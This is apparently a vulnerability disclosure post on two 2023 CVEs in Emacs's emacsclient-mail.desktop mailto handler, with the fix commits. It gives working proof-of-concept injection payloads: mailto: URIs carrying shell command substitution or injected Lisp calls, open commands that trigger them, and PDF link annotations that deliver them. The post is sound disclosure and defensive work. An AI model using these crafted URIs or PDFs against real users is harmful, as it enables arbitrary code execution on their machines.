/dev/posts/

Shell command and Emacs Lisp injection in emacsclient-mail.desktop

Published:

Updated:

Shell command injection and Emacs Lisp injection vulnerabilities in one of the Emacs Desktop Entry (emacsclient-mail.desktop) leading to arbitrary code execution through a crafted mailto: URI.

One of the Emacs Desktop Entry (emacsclient-mail.desktop) is vulnerable to shell command injection and Emacs Lisp injection through a crafted mailto: URI. This can for example be exploited by a remote attacker through a hyperlink in a malicious PDF (as demonstrated using Evince and Okular). This can be used to execute arbitrary code on the user's behalf.

Vulnerability CVE Affected Fixed in
Shell command injection through emacsclient-mail.desktop CVE-2023-27985 28.1 to 28.x 29.0.90
Emacs Lisp injection through emacsclient-mail.desktop CVE-2023-27986 28.1 to 28.x 29.0.90

Shell command injection

The Desktop entry (emacsclient-mail.desktop) is as follows:

[Desktop Entry]
Categories=Network;Email;
Comment=GNU Emacs is an extensible, customizable text editor - and more
Exec=sh -c "exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\\\(message-mailto\\\\ \\\\\\"%u\\\\\\"\\\\)"
Icon=emacs
Name=Emacs (Mail, Client)
MimeType=x-scheme-handler/mailto;
NoDisplay=true
Terminal=false
Type=Application
Keywords=emacsclient;
Actions=new-window;new-instance;

# ...

The Exec stanza is vulnerable to injection of shell commands and Emacs Lisp code.

The shell command injection may be demonstrated on KDE with the following command:

kde-open "mailto:foo@example.com:\$(xterm -e nyancat)"

This executes the following shell command:

exec emacsclient --alternate-editor= --display="$DISPLAY" --eval \(message-mailto\ \"mailto:foo@example.com:$(xterm -e nyancat)\"\)

which in turns executes:

xterm -e nyancat

This may for example be triggered from Okular under KDE (i.e. through kde-open). Clicking on a malicious URI contained in a malicious PDF results in the execution of the embedded shell command:

XDG_CURRENT_DESKTOP=KDE KDE_SESSION_VERSION=4 okular test.pdf
XDG_CURRENT_DESKTOP=KDE KDE_SESSION_VERSION=4 xdg-open "mailto:foo@example.com:\$(xterm -e nyancat)"

With a PDF containing such a snippet:

4 0 obj
<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(mailto:foo@example.com:\$(xterm -e nyancat))>>
endobj

This has been introduced by commit b1b05c82. This has beed fixed in commit d3209119 as part of Emacs Bug #60204 (though the security impact of this bug was not noticed at this point):

Exec=sh -c "exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$1\\\\\\")\\"" sh %u

This vulnerability has been observed with:

Emacs Lisp injection

This patch fixes the shell command injection. However, it is still vulnerable to Emacs Lisp injection resulting to arbitrary code execution.

The new Exec stanza in the desktop entry is:

Exec=sh -c "exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$1\\\\\\")\\"" sh %u

Any of these commands demonstrate Emacs Lisp injection and trigger the execution of an external program:

gio open 'mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")"'
XDG_CURRENT_DESKTOP=GNOME3 xdg-open 'mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")")'

This executes the following shell command:

sh -c "exec emacsclient --alternate-editor= --display=\"$DISPLAY\" --eval \"(message-mailto \\\"$1\\\")\"" \
  sh 'mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")"'

This executes the following Lisp code:

(message-mailto "mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")"")

which triggers a shell command:

xterm -e nyancat

Note: evaluation of the inner code

For some reason on some installations, the inner code (shell-command-to-string) is not evaluated apparently because the number of arguments for message-mailto is not correct: (wrong-number-of-arguments message-mailto 3).

While this works:

(message-mailto (shell-command-to-string"xterm -e nyancat"))

This does not work:

(message-mailto "mailto:foo@example.com" (shell-command-to-string"xterm -e nyancat"))

I don't know why this happens.

This can be triggered from Evince under GNOME (i.e. through gio open):

XDG_CURRENT_DESKTOP=GNOME3 evince test.pdf

With a PDF containing such a snippet:

4 0 obj
<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")")>>
>>
endobj

This is fixed in commit 3c1693d08b0a71d40a77e7b40c0ebc42dca2d2cc:

# We want to pass the following commands to the shell wrapper:
# u=${1//\\/\\\\}; u=${u//\"/\\\"}; exec emacsclient --alternate-editor= --display="$DISPLAY" --eval "(message-mailto \"$u\")"
# Special chars '"', '$', and '\' must be escaped as '\\"', '\\$', and '\\\\'.
Exec=bash -c "u=\\${1//\\\\\\\\/\\\\\\\\\\\\\\\\}; u=\\${u//\\\\\\"/\\\\\\\\\\\\\\"}; exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$u\\\\\\")\\"" bash %u

This fix was later modified in commit c8ec0017 in order to avoid depending on bash:

Exec=sh -c "u=\\$(echo \\"\\$1\\" | sed 's/[\\\\\\"]/\\\\\\\\&/g'); exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$u\\\\\\")\\"" sh %u

This vulnerability has been observed with:

Conclusion

It is interesting that in this case, the vulnerablity was introduced by the Desktop Entry file. The security impact of such files may easily be overlooked.

Timeline

References

Appendix, some notes about file and URI handlers

You can modify the default Desktop entry used for a given URI scheme (or MIME type) by editing ~/.config/mimeapps.list.

The following commands may be used to invoke programs to handle files and/or URIs: